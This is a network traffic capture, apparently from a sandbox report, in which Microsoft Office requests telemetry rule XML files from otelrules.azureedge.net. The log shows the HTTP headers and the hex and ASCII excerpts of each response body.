2024-10-30 06:28:06 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L>
2024-10-30 06:28:06 UTC	16384	IN	Data Raw: 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.4	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:07 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:07 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:07 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 11ae3112-301e-005d-596b-27e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062807Z-16849878b78p8hrf1se7fucxk800000008fg00000000ckmq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:07 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:07 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:07 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:07 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: fc6998d3-101e-008d-52ad-2692e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062807Z-16849878b78fssff8btnns3b14000000080000000000378a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 06:28:07 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:07 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:07 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:07 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 834668b8-301e-0052-121c-2765d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062807Z-16849878b7867ttgfbpnfxt44s00000007h00000000080fb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:07 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:07 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:07 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:07 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 54e1ad71-801e-008f-48b2-272c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062807Z-17c5cb586f62vrfquq10qybcuw00000000h0000000009s9n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:07 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:07 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:07 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:07 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 5d69bbb7-d01e-008e-6d6a-27387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062807Z-17c5cb586f672xmrz843mf85fn00000006k00000000039ry x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:07 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:08 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:08 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:08 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: fc05dcd0-301e-0052-2d91-2a65d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062808Z-17c5cb586f62vrfquq10qybcuw00000000kg00000000997t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 06:28:08 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:08 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:08 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:08 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 633f9008-101e-00a2-3e9b-279f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062808Z-16849878b78hh85qc40uyr8sc800000007tg00000000q1m4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:08 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:08 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:08 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 7b93b929-d01e-0082-6676-27e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062808Z-15b8d89586fwzdd8urmg0p1ebs0000000k8g000000008epu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:08 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:08 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:08 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:08 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 1f7bc680-101e-0065-6904-274088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062808Z-16849878b78sx229w7g7at4nkg00000005y0000000005bvy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:08 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:08 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:08 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: bebabdad-901e-0029-5d45-28274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062808Z-r197bdfb6b4gx6v9pg74w9f47s00000009ng00000000f5k4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:08 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:09 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:09 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: f66eff46-601e-0084-3c9d-276b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062809Z-15b8d89586fzcfbd8we4bvhqds00000002gg00000000a66a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
